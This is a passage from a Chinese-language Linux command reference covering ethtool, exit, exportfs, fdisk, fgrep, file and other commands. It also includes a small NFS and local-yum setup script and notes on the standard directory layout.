<td>get_drvinfoget_regs</td>

<td>不支持,即bnx2中没有实现函数get_regs。</td>

</tr>

<tr>

<td>-e -E</td>

<td>get_eepromset_eeprom</td>

<td>不支持,即bnx2中没有实现函数get_eeprom。</td>

</tr>

<tr>

<td>-r</td>

<td>nway_reset</td>

<td>配置网卡MII_BMCR寄存器,重启Auto negotiation模块。</td>

</tr>

<tr>

<td>-p</td>

<td>phys_id</td>

<td>配置网卡BNX2_EMAC_LED寄存器,实现LED闪功能。</td>

</tr>

<tr>

<td>-t</td>

<td>self_test</td>

<td>通过配置网卡寄存器,逐一测试网卡的硬件模块:registers,memory,loopback,Link stat,interrupt。</td>

</tr>

<tr>

<td>-S</td>

<td>get_ethtool_stats</td>

<td>显示信息来源于网卡驱动中的结构体变量stats_blk。(网卡通过DMA方式,将寄存器BNX2_HC_STATISTICS _ADDR_L和BNX2_HC_STATISTICS_ADDR_H中的数据实时地读取到结构体变量struct statistics_block *stats_blk中。) —显示的数据都是从网卡寄存器中统计得到的,各项的含义需查询网卡(芯片)手册。</td>

</tr>

</tbody>

</table>

由上可见,ethtool命令用于显示/配置网卡硬件(寄存器)。  

</div>

!! 实例  

:<div>


查看机器上网卡的速度:百兆还是千兆,请输入:

```
ethool eth0
```

操作完毕后,输出信息中`Speed:`这一项就指示了网卡的速度。停止网卡的发送模块TX,请输入:

```
ethtool -A tx off eth0
```

操作完毕后,可输入`ethtool -a eth0`,查看tx模块是否已被停止。查看网卡eth0采用了何种驱动,请输入:

```
ethtool -i eth0
```

操作完毕后,显示 driver: bnx2;version: 1.4.30 等信息。关闭网卡对收到的数据包的校验功能,请输入:

```
ethtool -K eth0 rx off
```

操作完毕后,可输入`ethtool –k eth0`,查看校验功能是否已被停止。如果机器上安装了两块网卡,那么eth0对应着哪块网卡呢?输入:

```
ethtool -p eth0 10
```

操作完毕后,看哪块网卡的led灯在闪,eth0就对应着哪块网卡。查看网卡,在接收/发送数据时,有没有出错?请输入:

```
ethtool –S eth0
```

将千兆网卡的速度降为百兆,请输入:

```
ethtool -s eth0 speed 100   

```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>

!!简介
:<div>
ex
===

启动vim编辑器的ex编辑模式

</div>

!! 补充说明

:<div>


在 "ex" 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可。

</div>

!! 语法  

:<div>


```
ex(参数)
```

</div>

!! 参数  

:<div>


文件:指定待编辑的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''exec''命令用于调用并执行指令的命令。exec命令通常用在shell脚本程序中,可以调用其他的命令。如果在当前终端中使用命令,则当指定的命令执行完毕后会立即退出终端。

;选项
:<pre>


`-c`:在空环境中执行指定的命令。
</pre>
!!简介
:<div>
exit
===

退出当前的shell

</div>

!! 补充说明

:<div>


"exit命令" 同于退出shell,并返回给定值。在shell脚本中可以终止当前脚本执行。执行exit可使shell以指定的状态值退出。若不设置状态值参数,则shell以预设值退出。状态值0代表执行成功,其他值代表执行失败。

</div>

!! 语法  

:<div>


```
exit(参数)
```

</div>

!! 参数  

:<div>


返回值:指定shell返回值。

</div>

!! 实例  

:<div>


退出当前shell:

```
[root@localhost ~]# exit
logout
```

在脚本中,进入脚本所在目录,否则退出:

```
cd $(dirname $0) || exit 1
```

在脚本中,判断参数数量,不匹配就打印使用方式,退出:

```
if [ "$#" -ne "2" ]; then
    echo "usage: $0 <area> <hours>"
    exit 2
fi
```

在脚本中,退出时删除临时文件:

```
trap "rm -f tmpfile; echo Bye." EXIT
```

检查上一命令的退出码:

```
./mycommand.sh
EXCODE=$?
if [ "$EXCODE" == "0" ]; then
    echo "O.K"
fi
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!01. 安装

!02. 基本配置

!03. 反向区域

!04. 多条dns记录

!05. 备份服务器

!06. 同步

!07. 主备切换

!08. 子域

!09. 转发

!10. view智能转发


!11. 压力测试
{{bash_head}}


```bash
repo=/etc/yum.repos.d/local.repo

function set_local_yum(){
    rm -rf /etc/yum.repos.d/*
    cat > ${repo} <<-EOF
    [base]
    name=local
    baseurl=ftp://dns01/
    gpgcheck=0
    enabled=1
EOF
    sed -i 's/^\ *//g' ${repo}
    yum clean all
    yum makecache 
    yum install -y vim fish
}

function add_nfs_user(){
    fs_path=$1
    user=$2
    mod=$3
    echo "select ${fs_path} mod for user: ${user}"
    select mod in rx rwx ;do
        case $mod in
        rx)
            setfacl -m u:${user}:rx ${fs_path}
            break;;
        rwx)
            setfacl -m u:${user}:rwx ${fs_path}
            break;;
        esac
    done
}

function add_nfs_folder(){
    fs_path=$1
    [ -d ${fs_path} ] || mkdir -pv ${fs_path}    
    echo "${fs_path} 192.168.45.0/24(rw)" >> /etc/exports
    exportfs -r
}

function install_nfs(){
    set_local_yum
    yum -y install nfs-utils
    systemctl start nfs-server
    systemctl enable nfs-server
}

function main(){
    install_nfs
    add_nfs_folder /data
    add_nfs_user /data 1003 rwx
}


function client{
    nfs_path=$1
    local_path=$2
    #echo "192.168.45.11:/data /mnt/dns01 nfs vers=3 0 0" >> /etc/fstab
    [ -d ${local_path} ] || mkdir -pv ${local_path}
    echo "${nfs_path} ${local_path} nfs vers=3 0 0" >> /etc/fstab
    set_local_yum
    yum -y install nfs-utils    
    mount -a
}

```
!!简介
:<div>
expand
===

将文件的制表符转换为空白字符

</div>

!! 补充说明

:<div>


"expand命令" 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。

</div>

!! 语法  

:<div>


```
expand(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。
```

</div>

!! 参数  

:<div>


文件:指定要转换制表符为空白的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
[root@localhost ~]# help export
export: export [-fn] [名称[=值] ...] 或 export -p
    为 shell 变量设定导出属性。

    标记每个 NAME 名称为自动导出到后续命令执行的环境。如果提供了 VALUE
    则导出前将 VALUE 作为赋值。

    选项:
      -f	指 shell 函数
      -n	删除每个 NAME 名称的导出属性
      -p	显示所有导出的变量和函数的列表

    `--' 的参数禁用进一步的选项处理。

    退出状态:
    返回成功,除非使用了无效的选项或者 NAME 名称。
```

EXP

```bash
# Calling export with no arguments will show current shell attributes
export

# Create new environment variable
export VARNAME="value"
```
!!简介
:<div>
exportfs
===

管理NFS共享文件系统列表

</div>

!! 补充说明

:<div>


exportfs 命令用来管理当前NFS共享的文件系统列表。

参数:

```
-a 打开或取消所有目录共享。
-o options,...指定一列共享选项,与 exports(5) 中讲到的类似。
-i 忽略 /etc/exports 文件,从而只使用默认的和命令行指定的选项。
-r 重新共享所有目录。它使 /var/lib/nfs/xtab 和 /etc/exports 同步。 它将 /etc/exports 中已删除的条目从 /var/lib/nfs/xtab 中删除,将内核共享表中任何不再有效的条目移除。
-u 取消一个或多个目录的共享。
-f 在“新”模式下,刷新内核共享表之外的任何东西。 任何活动的客户程序将在它们的下次请求中得到 mountd添加的新的共享条目。
-v 输出详细信息。当共享或者取消共享时,显示在做什么。 显示当前共享列表的时候,同时显示共享的选项。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''expr''命令是一款表达式计算工具,使用它完成表达式的求值操作。

;expr的常用运算符:
:<pre>
加法运算:+
减法运算:-
乘法运算:\*
除法运算:/
求摸(取余)运算:%
</pre>


;选项
:<pre>
--help:显示指令的帮助信息;
--version:显示指令版本信息。
</pre>

;实例
:<pre>

```bash
[root@vms01 ~]# a=$(expr 2 + 3); echo $a
5
[root@vms01 ~]# a=$(expr $a + 3); echo $a
8
```
</pre>

> https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout
```python

#yum install python-eyed3

import eyed3

audiofile = eyed3.load("song.mp3")
audiofile.tag.artist = u"Nobunny"
audiofile.tag.album = u"Love Visions"
audiofile.tag.title = u"I Am a Girlfriend"
audiofile.tag.track_num = 4

audiofile.tag.save()

```
*NAME<pre>
       fallocate - preallocate space to a file

</pre>
*SYNOPSIS<pre>
       fallocate [-n] [-p] [-o offset] -l length filename

       fallocate -x [-o offset] -l length filename

</pre>
*DESCRIPTION<pre>
       fallocate is used to preallocate blocks to a file.  For filesystems which support the fallocate system call, this is done quickly by allocating blocks and marking them as uninitialized, requiring no IO to the data blocks.  This is much faster than creating
       a file by filling it with zeros.

       As of the Linux Kernel v2.6.31, the fallocate system call is supported by the btrfs, ext4, ocfs2, and xfs filesystems.

       The exit code returned by fallocate is 0 on success and 1 on failure.

</pre>
*OPTIONS<pre>
       The length and offset arguments may be followed by the multiplicative suffixes KiB=1024, MiB=1024*1024, and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the "iB" is optional, e.g. "K" has the same meaning as "KiB") or the suffixes KB=1000, MB=1000*1000,  and
       so on for GB, TB, PB, EB, ZB and YB.

       -n, --keep-size
              Do not modify the apparent length of the file.  This may effectively allocate blocks past EOF, which can be removed with a truncate.

       -p, --punch-hole
              Punch holes in the file, the range should not exceed the length of the file.

       -o, --offset offset
              Specifies the beginning offset of the allocation, in bytes.

       -l, --length length
              Specifies the length of the allocation, in bytes.

       -x , --posix
              Enable POSIX operation mode. In that mode allocation operation always completes, but it may take longer time when fast allocation is not supported by the underlying filesystem.

       -h, --help
              Print help and exit.

       -V, --version
              Print version and exit.

</pre>
*AUTHORS<pre>
       Eric Sandeen ⟨sandeen@redhat.com⟩
       Karel Zak ⟨kzak@redhat.com⟩


   </pre>
*SEE ALSO<pre>
       fallocate(2), posix_fallocate(3), truncate(1)

</pre>
*AVAILABILITY<pre>
       The fallocate command is part of the util-linux package and is available from Linux Kernel Archive ⟨ftp://ftp.kernel.org/pub/linux/utils/util-linux/⟩.
</pre>
```
false: false
    Return an unsuccessful result.

    Exit Status:
    Always fails.
```



```
[root@qs02 ~]# help false
false: false
    Return an unsuccessful result.

    Exit Status:
    Always fails.
```

```bash
[root@qs02 ~]# echo $?
0
[root@qs02 ~]# false
[root@qs02 ~]# echo $?
1
[root@qs02 ~]#
[root@qs02 ~]# echo $?
0
```
!!简介
:<div>
fc
===

修改历史命令并执行

</div>

!! 补充说明

:<div>


"fc命令" 自动掉用vi编辑器修改已有历史命令,当保存时立即执行修改后的命令,也可以用来显示历史命令。fc命令编辑历史命令时,会自动调用vi编辑器。fc保存文件后,会自动执行所编辑过的命令。

</div>

!! 语法  

:<div>


```
fc [-e 编辑器名] [-lnr] [起始] [终结]
fc -s [模式=替换串] [命令]
```

</div>

!! 选项  

:<div>


```
-l:显示历史命令;
-n:显示历史命令时,不显示编号;
-r:反序显示历史命令。
```

</div>

!! 参数  

:<div>


*   起始指令编号:指定要编辑的起始指令编号;
*   结尾指令编号:指定要编辑的结尾指令编号。

</div>

!! 实例  

:<div>


使用该指令显示最近使用的10条历史命令,输入如下命令:

```
[root@localhost ~]# fc -l -10     #显示10条历史命令
1039     type -a grep
1040     export
1041     history 10
1042     ulimit -a
1043     shopt
1044     help ls
1045     help env
1046     help short
1047     help shopt
1048     showkey -a
```

第一列信息是历史命令的编号,第二列信息是历史命令的具体格式。若用户需要编辑第1040条历史命令时,则输入如下命令:

```
fc 1040                    #编辑第1040条历史命令
```

命令执行成功后,将自动调用vi编辑器编辑指定的命令,编辑完成后保存,会自动执行修改后的命令。当用户在vi编辑器中修改指令并保存后,被修改的命令会被自动调用并执行。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
fdisk
===

查看磁盘使用情况和磁盘分区

</div>

!! 补充说明

:<div>


"fdisk命令" 用于观察硬盘实体使用情况,也可对硬盘分区。它采用传统的问答式界面,而非类似DOS fdisk的cfdisk互动式操作界面,因此在使用上较为不便,但功能却丝毫不打折扣。

</div>

!! 语法  

:<div>


```
fdisk(选项)(参数)
```

</div>

!! 选项  

:<div>


```
 -b <大小>             扇区大小(512、1024、2048或4096)
 -c[=<模式>]           兼容模式:“dos”或“nondos”(默认)
 -h                    打印此帮助文本
 -u[=<单位>]           显示单位:“cylinders”(柱面)或“sectors”(扇区,默认)
 -v                    打印程序版本
 -C <数字>             指定柱面数
 -H <数字>             指定磁头数
 -S <数字>             指定每个磁道的扇区数
```

</div>

!! 参数  

:<div>


设备文件:指定要进行分区或者显示分区的硬盘设备文件。

</div>

!! 实例  

:<div>


首先选择要进行操作的磁盘:

```
[root@localhost ~]# fdisk /dev/sdb
```

输入`m`列出可以执行的命令:

```
command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   o   create a new empty DOS partition table
   p   print the partition table
   q   quit without saving changes
   s   create a new empty Sun disklabel
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)
```

输入`p`列出磁盘目前的分区情况:

```
Command (m for help): p

Disk /dev/sdb: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1           1        8001   8e  Linux LVM
/dev/sdb2               2          26      200812+  83  Linux
```

输入`d`然后选择分区,删除现有分区:

```
Command (m for help): d
Partition number (1-4): 1

Command (m for help): d
Selected partition 2
```

查看分区情况,确认分区已经删除:

```
Command (m for help): print

Disk /dev/sdb: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System

Command (m for help):
```

输入`n`建立新的磁盘分区,首先建立两个主磁盘分区:

```
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p    //建立主分区
Partition number (1-4): 1  //分区号
First cylinder (1-391, default 1):  //分区起始位置
Using default value 1
last cylinder or +size or +sizeM or +sizeK (1-391, default 391): 100  //分区结束位置,单位为扇区

Command (m for help): n  //再建立一个分区
Command action
   e   extended
   p   primary partition (1-4)
p 
Partition number (1-4): 2  //分区号为2
First cylinder (101-391, default 101):
Using default value 101
Last cylinder or +size or +sizeM or +sizeK (101-391, default 391): +200M  //分区结束位置,单位为M
```

确认分区建立成功:

```
Command (m for help): p

Disk /dev/sdb: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         100      803218+  83  Linux
/dev/sdb2             101         125      200812+  83  Linux
```

再建立一个逻辑分区:

```
Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
e  //选择扩展分区
Partition number (1-4): 3
First cylinder (126-391, default 126):
Using default value 126
Last cylinder or +size or +sizeM or +sizeK (126-391, default 391):
Using default value 391
```

确认扩展分区建立成功:

```
Command (m for help): p

Disk /dev/sdb: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         100      803218+  83  Linux
/dev/sdb2             101         125      200812+  83  Linux
/dev/sdb3             126         391     2136645    5  Extended
```

在扩展分区上建立两个逻辑分区:

```
Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l //选择逻辑分区
First cylinder (126-391, default 126):
Using default value 126
Last cylinder or +size or +sizeM or +sizeK (126-391, default 391): +400M    

Command (m for help): n
Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l
First cylinder (176-391, default 176):
Using default value 176
Last cylinder or +size or +sizeM or +sizeK (176-391, default 391):
Using default value 391
```

确认逻辑分区建立成功:

```
Command (m for help): p

Disk /dev/sdb: 3221 MB, 3221225472 bytes
255 heads, 63 sectors/track, 391 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1               1         100      803218+  83  Linux
/dev/sdb2             101         125      200812+  83  Linux
/dev/sdb3             126         391     2136645    5  Extended
/dev/sdb5             126         175      401593+  83  Linux
/dev/sdb6             176         391     1734988+  83  Linux

Command (m for help):
```

从上面的结果我们可以看到,在硬盘sdb我们建立了2个主分区(sdb1,sdb2),1个扩展分区(sdb3),2个逻辑分区(sdb5,sdb6)

注意:主分区和扩展分区的磁盘号位1-4,也就是说最多有4个主分区或者扩展分区,逻辑分区开始的磁盘号为5,因此在这个实验中试没有sdb4的。

最后对分区操作进行保存:

```
Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
```

建立好分区之后我们还需要对分区进行格式化才能在系统中使用磁盘。

在sdb1上建立ext2分区:

```
[root@localhost ~]# mkfs.ext2 /dev/sdb1
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
100576 inodes, 200804 blocks
10040 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=209715200
7 block groups
32768 blocks per group, 32768 fragments per group
14368 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840

Writing inode tables: done                           
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 32 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
```

在sdb6上建立ext3分区:

```
[root@localhost ~]# mkfs.ext3 /dev/sdb6
mke2fs 1.39 (29-May-2006)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
217280 inodes, 433747 blocks
21687 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=444596224
14 block groups
32768 blocks per group, 32768 fragments per group
15520 inodes per group
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912

Writing inode tables: done                           
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 32 mounts or
180 days, whichever comes first.  Use tune2fs -c or -i to override.
[root@localhost ~]#
```

建立两个目录`/oracle`和`/web`,将新建好的两个分区挂载到系统:

```
[root@localhost ~]# mkdir /oracle
[root@localhost ~]# mkdir /web
[root@localhost ~]# mount /dev/sdb1 /oracle
[root@localhost ~]# mount /dev/sdb6 /web
```

查看分区挂载情况:

```
[root@localhost ~]# df -h
文件系统              容量  已用 可用 已用% 挂载点
/dev/mapper/VolGroup00-LogVol00
                      6.7G  2.8G  3.6G  44% /
/dev/sda1              99M   12M   82M  13% /boot
tmpfs                 125M     0  125M   0% /dev/shm
/dev/sdb1             773M  808K  733M   1% /oracle
/dev/sdb6             1.7G   35M  1.6G   3% /web
```

如果需要每次开机自动挂载则需要修改`/etc/fstab`文件,加入两行配置:

```
[root@localhost ~]# vim /etc/fstab

/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1
LABEL=/boot             /boot                   ext3    defaults        1 2
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
/dev/VolGroup00/LogVol01 swap                    swap    defaults        0 0
/dev/sdb1               /oracle                 ext2    defaults        0 0
/dev/sdb6               /web                    ext3    defaults        0 0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
fg
===

将后台作业放到前台终端运行

</div>

!! 补充说明

:<div>


"fg命令" 用于将后台作业(在后台运行的或者在后台挂起的作业)放到前台终端运行。与bg命令一样,若后台任务中只有一个,则使用该命令时,可以省略任务号。

在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。

</div>

!! 语法  

:<div>


```
fg(参数)
```

</div>

!! 参数  

:<div>


作业标识:指定要放到前台的作业标识号。

</div>

!! 实例  

:<div>


使用fg命令将任务号为1的任务从后台执行转换到前台执行,输入如下命令:

```
fg 1          #将任务转换到前台执行
```

执行上面的命令后,命令行窗口将显示如下信息:

```
find / -name password       #前台执行命令
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
fgrep
===

为文件搜索文字字符串

</div>

!! 补充说明

:<div>


"fgrep命令" 是用来搜索 file 参数指定的输入文件(缺省为标准输入)中的匹配模式的行。fgrep 命令特别搜索 Pattern 参数,它们是固定的字符串。如果在 File 参数中指定一个以上的文件 fgrep 命令将显示包含匹配行的文件。

fgrep 命令于 grep 和 egrep 命令不同,因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, &#91;, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式,但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义,完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件, fgrep 命令假定标准输入。一般,找到的每行都复制到标准输出中去。如果不止一个输入文件,则在找到的每行前打印文件名。

1.  fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。
2.  每行限制在 2048 个字节。
3.  段落(-p 标志下)目前限制在5000个字符的长度。
4.  不要在特定的文件中运行 grep 命令,因为会产生不可预料的结果。
5.  输入行不能包含空字符。
6.  输入文件应该以换行字符结尾。
7.  虽然可以同时指定很多标志,但某些标志会覆盖其余的标志。例如,如果同时指定 -l 和 -n ,只有文件名写入到标准输出中去。

</div>

!! 语法  

:<div>


```
fgrep(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b:在找到的每行之前添加行所在的块编号。使用此标志有助于按照上下文查找磁盘块号码。-b 标志不能用于标准输入或者管道输入。
-c:仅显示匹配行的计数。
-e 模式:指定模式。这个工作模式很简单,但当此模式以 a-(减号) 开头时却是很有用的。
-f StringFile:指定包含字符串的文件。
-h:当多个文件被处理时隐藏文件名。
-i:当进行比较时忽略字母的大小写。
-l:只列出包含匹配行的文件名(一次)。文件名之间用换行符分隔。
n:将文件中每行的相对行号置于行前。
-pSeparator:显示包含匹配行的整个段落。段落之间将按照Separator参数指定的段落分隔符加以分隔,这些分隔符是与搜索模式有着相同格式的模式。包含段落分隔符的行将仅用作分隔符;它们不会被包含在输出中。缺省的段落分隔符是空白行。
-q:禁止所有写入到标准输出的操作,不管是否为匹配行。如果选中输入行,以 0 状态退出。
-s:仅显示出错消息。这在检查状态时很有用。
-v:显示除了匹配特定模式的行以外的所有行。
-w:执行单词搜索。
-x:显示匹配模式的行,要求无额外的字符。
-y:当进行比较时忽略字符的大小写。
```

此命令返回以下出口值:

```
0    找到匹配项。
1    未找到匹配项。
>1   发现语法错误,或者文件不可访问(即使找到了匹配项)。
```

</div>

!! 实例  

:<div>


 "搜索几个文件中的一个简单字符串:" 

```
fgrep strcpy *.c
```

在当前目录下所有以 .c 字符串结尾的文件中搜索字符串 strcpy。

 "计数匹配某模式的行数:" 

```
fgrep -c 『{』pgm.cfgrep -c 『}』pgm.c
```

显示在 pgm.c 中包含左括号和右括号的行的数目。

如果在您的 C 程序中一行中没有包含多于一个 { (左括号) 或者 } (右括号),并且括号正确匹配,那么这两个数字将是一样的。如果这两个数字不一样,您可以将包含括号的行按照他们在文件中的位置顺序显示出来,使用以下命令:

```
egrep {\|} pgm.c
```

 "显示包含某模式的文件名:" 

```
fgrep -l strcpy *.c
```

搜索当前目录下以 .c 结尾的文件,然后显示包含 strcpy 字符串的文件名。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* 目录简述
** /bin<pre>

```bash
基本软件
```
</pre>

** /dev
*** char dev<pre>

```bash
ll /dev/zero
#字符设备有缓存
```
</pre>

*** block dev<pre>

```bash
#触发磁盘扫描
echo '- - -' > /sys/class/scsi_host/host0/scan
ll /dev/sd*
设备type number , dev number
```
</pre>

** /etc<pre>

```bash
# Profile dir
```
</pre>

** Lib<pre>

```bash
# 库文件
# *.so #share object
```
</pre>

** /media<pre>

```bash
移动设备
```
</pre>


** /mnt<pre>

```bash
临时挂载
```
</pre>

** /opt<pre>

```bash
# 第三方软件
```
</pre>

** /sbin<pre>

```bash
基本系统软件
```
</pre>

** /srv<pre>

```bash
服务
```
</pre>

** /tmp<pre>

```bash
# 临时目录
# 自动清除
```
</pre>

** /usr<pre>

```bash
#第二层FHS
```
</pre>

** /var<pre>

```bash
# 可变化的文件
# 日志等
```
</pre>


** /home<pre>

```bash
用户家目录
```
</pre>

** /proc<pre>

```bash
# 内存中的数据
```
</pre>

** /sys<pre>

```bash
# 硬件相关文件
```
</pre>

** /run<pre>

```bash
# 系统运行数据
```
</pre>

** /lost and found<pre>

```bash
# 文件系统相关
```
</pre>


** /misc<pre>

```bash
#自动挂载CD
service autofs start
ls /misc/cd 
```
</pre>

** /net<pre>

```bash
service autofs start
```
</pre>
* help<pre>

FILE(1)                                              BSD General Commands Manual                                             FILE(1)

NAME
     file — determine file type

SYNOPSIS
     file [-bchiklLNnprsvz0] [--apple] [--mime-encoding] [--mime-type] [-e testname] [-F separator] [-f namefile] [-m magicfiles]
          file ...
     file -C [-m magicfiles]
     file [--help]

DESCRIPTION
     This manual page documents version 5.11 of the file command.

     file tests each argument in an attempt to classify it.  There are three sets of tests, performed in this order: filesystem
     tests, magic tests, and language tests.  The first test that succeeds causes the file type to be printed.

     The type printed will usually contain one of the words text (the file contains only printing characters and a few common con‐
     trol characters and is probably safe to read on an ASCII terminal), executable (the file contains the result of compiling a
     program in a form understandable to some UNIX kernel or another), or data meaning anything else (data is usually “binary” or
     non-printable).  Exceptions are well-known file formats (core files, tar archives) that are known to contain binary data.  When
     modifying magic files or the program itself, make sure to preserve these keywords.  Users depend on knowing that all the read‐
     able files in a directory have the word “text” printed.  Don't do as Berkeley did and change “shell commands text” to “shell
     script”.

     The filesystem tests are based on examining the return from a stat(2) system call.  The program checks to see if the file is
     empty, or if it's some sort of special file.  Any known file types appropriate to the system you are running on (sockets, sym‐
     bolic links, or named pipes (FIFOs) on those systems that implement them) are intuited if they are defined in the system header
     file <sys/stat.h>.

     The magic tests are used to check for files with data in particular fixed formats.  The canonical example of this is a binary
     executable (compiled program) a.out file, whose format is defined in <elf.h>, <a.out.h> and possibly <exec.h> in the standard
     include directory.  These files have a “magic number” stored in a particular place near the beginning of the file that tells
     the UNIX operating system that the file is a binary executable, and which of several types thereof.  The concept of a “magic”
     has been applied by extension to data files.  Any file with some invariant identifier at a small fixed offset into the file can
     usually be described in this way.  The information identifying these files is read from the compiled magic file
     /usr/share/misc/magic.mgc, or the files in the directory /usr/share/misc/magic if the compiled file does not exist.  In addi‐
     tion, if $HOME/.magic.mgc or $HOME/.magic exists, it will be used in preference to the system magic files.

     If a file does not match any of the entries in the magic file, it is examined to see if it seems to be a text file.  ASCII,
     ISO-8859-x, non-ISO 8-bit extended-ASCII character sets (such as those used on Macintosh and IBM PC systems), UTF-8-encoded
     Unicode, UTF-16-encoded Unicode, and EBCDIC character sets can be distinguished by the different ranges and sequences of bytes
     that constitute printable text in each set.  If a file passes any of these tests, its character set is reported.  ASCII,
     ISO-8859-x, UTF-8, and extended-ASCII files are identified as “text” because they will be mostly readable on nearly any termi‐
     nal; UTF-16 and EBCDIC are only “character data” because, while they contain text, it is text that will require translation
     before it can be read.  In addition, file will attempt to determine other characteristics of text-type files.  If the lines of
     a file are terminated by CR, CRLF, or NEL, instead of the Unix-standard LF, this will be reported.  Files that contain embedded
     escape sequences or overstriking will also be identified.

     Once file has determined the character set used in a text-type file, it will attempt to determine in what language the file is
     written.  The language tests look for particular strings (cf.  <names.h>) that can appear anywhere in the first few blocks of a
     file.  For example, the keyword .br indicates that the file is most likely a troff(1) input file, just as the keyword struct
     indicates a C program.  These tests are less reliable than the previous two groups, so they are performed last.  The language
     test routines also test for some miscellany (such as tar(1) archives).

     Any file that cannot be identified as having been written in any of the character sets listed above is simply said to be
     “data”.

OPTIONS
     -b, --brief
             Do not prepend filenames to output lines (brief mode).

     -C, --compile
             Write a magic.mgc output file that contains a pre-parsed version of the magic file or directory.

     -c, --checking-printout
             Cause a checking printout of the parsed form of the magic file.  This is usually used in conjunction with the -m flag
             to debug a new magic file before installing it.

     -e, --exclude testname
             Exclude the test named in testname from the list of tests made to determine the file type.  Valid test names are:

             apptype   EMX application type (only on EMX).

             ascii     Various types of text files (this test will try to guess the text encoding, irrespective of the setting of
                       the ‘encoding’ option).

             encoding  Different text encodings for soft magic tests.

             tokens    Ignored for backwards compatibility.

             cdf       Prints details of Compound Document Files.

             compress  Checks for, and looks inside, compressed files.

             elf       Prints ELF file details.

             soft      Consults magic files.

             tar       Examines tar files.

     -F, --separator separator
             Use the specified string as the separator between the filename and the file result returned.  Defaults to ‘:’.

     -f, --files-from namefile
             Read the names of the files to be examined from namefile (one per line) before the argument list.  Either namefile or
             at least one filename argument must be present; to test the standard input, use ‘-’ as a filename argument.  Please
             note that namefile is unwrapped and the enclosed filenames are processed when this option is encountered and before any
             further options processing is done.  This allows one to process multiple lists of files with different command line
             arguments on the same file invocation.  Thus if you want to set the delimiter, you need to do it before you specify the
             list of files, like: “-F @ -f namefile”, instead of: “-f namefile -F @”.

     -h, --no-dereference
             option causes symlinks not to be followed (on systems that support symbolic links).  This is the default if the envi‐
             ronment variable POSIXLY_CORRECT is not defined.

     -i, --mime
             Causes the file command to output mime type strings rather than the more traditional human readable ones.  Thus it may
             say ‘text/plain; charset=us-ascii’ rather than “ASCII text”.

     --mime-type, --mime-encoding
             Like -i, but print only the specified element(s).

     -k, --keep-going
             Don't stop at the first match, keep going.  Subsequent matches will be have the string ‘\012- ’ prepended.  (If you
